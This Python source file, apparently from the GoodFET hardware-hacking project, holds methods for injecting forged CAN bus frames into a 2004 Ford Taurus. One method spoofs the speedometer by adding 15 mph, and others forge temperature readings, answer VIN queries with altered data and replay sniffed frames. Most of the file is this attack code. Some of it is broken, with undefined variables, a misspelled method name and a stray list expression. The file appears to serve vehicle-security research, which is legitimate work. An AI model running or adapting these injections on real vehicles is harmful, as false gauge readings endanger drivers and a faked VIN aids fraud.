f359bfae7395b3b48c0d8436a77b6ceae33f4b92
[goodfet] / client / FordExperiments.py
1 import sys;
2 import binascii;
3 import array;
4 import csv, time, argparse;
5 import datetime
6 import os
7 from random import randrange
8 from GoodFETMCPCAN import GoodFETMCPCAN;
9 from experiments import experiments
10 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
11 from intelhex import IntelHex;
12 import Queue
13 import math
14
15 tT = time
16 class FordExperiments(experiments):
17     """
18     This class is a subclass of experiments and is a car specific module for 
19     demonstrating and testing hacks. 
20     """
21     def __init__(self, dataLocation = "../../contrib/ThayerData/"):
22         GoodFETMCPCANCommunication.__init__(self, dataLocation)
23         #super(FordExperiments,self).__init__(self) #initialize chip
24         self.freq = 500;
25
26     def mimic1056(self,packetData,runTime):
27         #setup chip
28         self.client.serInit()
29         self.spitSetup(self.freq)
30         #FIGURE out how to clear buffers
31         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
32         packet1 = self.client.rxpacket();
33         if(packet1 != None):
34             packetParsed = self.client.packet2parsed(packet1);
35         #keep sniffing till we read a packet
36         while( packet1 == None or packetParsed.get('sID') != 1056 ):
37             packet1 = self.client.rxpacket()
38             if(packet1 != None):
39                 packetParsed = self.client.packet2parsed(packet1)
40         recieveTime = time.time()
41         packetParsed = self.client.packet2parsed(packet1)
42         if( packetParsed['sID'] != 1056):
43             print "Sniffed wrong packet"
44             return
45         countInitial = ord(packetParsed['db3']) #initial count value
46         packet = []
47         #set data packet to match what was sniffed or at least what was input
48         for i in range(0,8):
49             idx = "db%d"%i
50             if(packetData.get(idx) == None):
51                 packet.append(ord(packetParsed.get(idx)))
52             else:
53                 packet.append(packetData.get(idx))
54         print packet
55         #### split SID into different regs
56         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
57         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
58         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
59                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
60                   # lower nibble is DLC                   
61                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
62         packetCount = 1;
63         self.client.txpacket(packet);
64         tpast = time.time()
65         while( (time.time()-recieveTime) < runTime):
66             #care about db3 or packet[8] that we want to count at the rate that it is
67             dT = time.time()-tpast
68             if( dT/0.2 >= 1):
69                 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
70                 packet[8] = db3
71                 self.client.txpacket(packet)
72                 packetCount += 1
73             else:
74                 packetCount += 1
75                 self.client.MCPrts(TXB0=True)
76             tpast = time.time()  #update our transmit time on the one before   
77             
78                 
79          
80     def cycledb1_1056(self,runTime):
81         #setup chip
82         self.client.serInit()
83         self.spitSetup(500)
84         #FIGURE out how to clear buffers
85         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
86         packet1 = self.client.rxpacket();
87         if(packet1 != None):
88             packetParsed = self.client.packet2parsed(packet1);
89         #keep sniffing till we read a packet
90         while( packet1 == None or packetParsed.get('sID') != 1056 ):
91             time.sleep(.1)
92             packet1 = self.client.rxpacket()
93             if(packet1 != None):
94                 packetParsed = self.client.packet2parsed(packet1)
95         recieveTime = time.time()
96         packetParsed = self.client.packet2parsed(packet1)
97         if( packetParsed['sID'] != 1056):
98             print "Sniffed wrong packet"
99             return
100         packet = []
101         #set data packet to match what was sniffed or at least what was input
102         for i in range(0,8):
103             idx = "db%d"%i
104             packet.append(ord(packetParsed.get(idx)))
105         packetValue = 0
106         packet[1] = packetValue;
107         
108         print packet
109         #### split SID into different regs
110         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
111         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
112         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
113                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
114                   # lower nibble is DLC                   
115                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
116         packetCount = 1;
117         self.client.txpacket(packet);
118         tpast = time.time()
119         while( (time.time()-recieveTime) < runTime):
120             #care about db3 or packet[8] that we want to count at the rate that it is
121             dT = time.time()-tpast
122             packetValue += 10
123             pV = packetValue%255
124             #temp = ((packetValue+1))%2
125             #if( temp == 1):
126             #    pV = packetValue%255
127             #else:
128             #    pV = 0
129             packet[6] = pV
130             #packet[6] = 1
131             print packet
132             self.client.txpacket(packet)
133             packetCount += 1
134             tpast = time.time()  #update our transmit time on the one before   
135         print packetCount;
136         
137     def getBackground(self,sId):
138         packet1 = self.client.rxpacket();
139         if(packet1 != None):
140             packetParsed = self.client.packet2parsed(packet1);
141         #keep sniffing till we read a packet
142         while( packet1 == None or packetParsed.get('sID') != sId ):
143             packet1 = self.client.rxpacket()
144             if(packet1 != None):
145                 packetParsed = self.client.packet2parsed(packet1)
146             
147         #recieveTime = time.time()
148         return packetParsed
149
150     def cycle4packets1279(self):
151         self.client.serInit()
152         self.spitSetup(500)
153         # filter on 1279
154         self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
155         packetParsed = self.getBackground(1279)
156         packet = []
157         if (packetParsed[db0] == 16):
158             # if it's the first of the four packets, replace the value in db7  with 83
159             packetParsed[db7] = 83
160             # transmit new packet
161             self.client.txpacket(packetParsed)
162         else:
163         # otherwise, leave it alone
164             # transmit same pakcet we read in
165             self.client.txpacket(packetParsed)
166         # print the packet we are transmitting
167         print packetParsed
168         
169         
170     def oscillateTemperature(self,time):
171         #setup chip
172         self.client.serInit()
173         self.spitSetup(500)
174         #FIGURE out how to clear buffers
175         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
176         packetParsed = self.getBackground(1056)
177         packet = []
178         #set data packet to match what was sniffed or at least what was input
179         for i in range(0,8):
180             idx = "db%d"%i
181             packet.append(ord(packetParsed.get(idx)))
182         packetValue = 0
183         packet[1] = packetValue;
184         
185         print packet
186         #### split SID into different regs
187         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
188         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
189         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
190                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
191                   # lower nibble is DLC                   
192                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
193         packetCount = 1;
194         self.client.txpacket(packet);
195         startTime = tT.time()
196         while( (tT.time()-startTime) < runTime):
197             dt = tT.time()-startTime
198             inputValue = ((2.0*math.pi)/20.0)*dt
199             value = 30*math.sin(inputValue)+130
200             print value
201             #packet[5] = int(value)
202             if( value > 130 ):
203                 packet[5] = 160
204             else:
205                 packet[5] = 100
206             #packet[6] = 1
207             print packet
208             self.client.txpacket(packet)
209             packetCount += 1
210             #tpast = time.time()  #update our transmit time on the one before   
211         print packetCount;
212         
213         
214     def fakeVIN(self):
215        #reset eveything on the chip
216        self.client.serInit() 
217        self.reset()
218        duration = 20; #seconds 
219        
220        listenID = 2015
221        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
222        responseID = 2024
223        #actual response by the car
224        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
225        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
226        #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
227        
228        r1 = [34, 88, 0, 0, 0, 0, 0, 0]
229        r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
230        r3 = [16, 19, 73, 160, 159, 70, 65, 66]
231        
232        #format
233        SIDlow = (responseID & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
234        SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
235        packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
236                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
237                   # lower nibble is DLC                   
238                  r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
239        packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
240               0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
241                   # lower nibble is DLC                   
242                  r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
243        packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
244                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
245                   # lower nibble is DLC                   
246                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
247
248        self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
249
250        #filter for the correct packet
251        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
252        self.client.rxpacket()
253        self.client.rxpacket() # flush buffers if there is anything
254        startTime = tT.time()
255        while( (tT.time() -startTime) < duration):
256            packet = self.client.rxpacket()
257            if( packet != None):
258                sid =  ord(packet[0])<<3 | ord(packet[1])>>5
259                if( sid == listenID):
260                    byte3 = ord(packet[6])
261                    if( byte3 == listenPacket[3]):
262                        print "SendingPackets!"
263                        #send packets
264                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
265                        
266     def speedometerHack(self):
267         
268         self.client.serInit()
269         self.spitSetup(500)
270
271         self.addFilter([513, 513, 513])
272         
273         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
274         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
275                 
276         while(1):
277             
278             packet = None;
279
280             # catch a packet and check its db4 value
281             while (packet == None):
282                 packet=self.client.rxpacket();
283                 
284             print "DB4 = %d" %packet[9]
285             mph = 1.617*packet[9] - 63.5
286             print "Current MPH = 1.617(%d)-63.5 = %d" %(packet[9], mph)
287                 
288             # calculate our new mph and db4 value
289             mph = mph + 15;
290             packet[9] = ( mph + 63.5 ) / 1.617
291
292             # load new packet into TXB0 and check time
293             self.multiPacketSpit(packet0=packet, packet0rts=True)
294             starttime = time.time()
295             
296             # spit new value for 1 second
297             while (time.time()-starttime < 1):
298                 self.multiPacketSpit(packet0rts=True)
299             
300
301
302             [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
303                       0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
304                       # lower nibble is DLC                   
305                       packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
306     
307     
308 #        while((time.time()-starttime < duration)):
309 #                    
310 #                    if(faster):
311 #                        packet=self.client.fastrxpacket();
312 #                    else:
313
314
315        
316         
317 if __name__ == "__main__":
318     
319     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
320
321     Run Hacks on a Ford taurus 2004:
322         
323             speedometerHack
324             fakeVIN
325         ''')
326     parser.add_argument('verb', choices=['speedometerHack']);
327     parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
328
329
330     args = parser.parse_args();
331     inputs = args.variable
332     fe = FordExperiments("../../contrib/ThayerData/");
333     
334     if( args.verb == 'speedometerHack'):
335         fe.speedometerHack()
336     elif( args.verb == 'fakeVIN'):
337         fe.fakeVIN()
338         
339